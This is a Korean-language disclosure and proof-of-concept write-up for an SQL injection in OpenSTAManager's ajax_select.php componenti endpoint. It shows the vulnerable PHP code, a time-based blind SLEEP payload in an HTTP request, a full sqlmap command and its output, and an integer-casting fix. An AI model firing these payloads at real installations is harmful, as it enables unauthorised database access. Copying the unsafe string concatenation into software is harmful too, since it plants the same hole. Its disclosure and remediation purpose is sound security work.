
CVE-2025-69214에 대한 개념 증명: OpenSTAManager의 ajax_select.php componenti 엔드포인트에서의 SQL 인젝션. 취약 코드 분석, SQLMap을 이용한 시간 기반 블라인드 익스플로잇, 그리고 수정 지침을 포함합니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-69214 |
| 심각도 | 높음 |
| 자문 | 자문 보기 |
| 발견자 | Lukasz Rybak |
ajax_select.php 엔드포인트에서 componenti 작업을 처리할 때 SQL 인젝션 취약점이 존재합니다. 인증된 공격자는 options[matricola] 매개변수를 통해 악성 SQL 코드를 주입할 수 있습니다.
파일: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() 절에 직접 연결됨수동 PoC (시간 기반 블라인드 SQL 인젝션):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

SQLMap 익스플로잇:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap 출력:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12

SQL에서 사용하기 전에 값을 정수로 캐스팅하세요.
이전:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
이후:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
발견자: Łukasz Rybak
이 CVE는 조정된 취약점 공개 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 제공됩니다.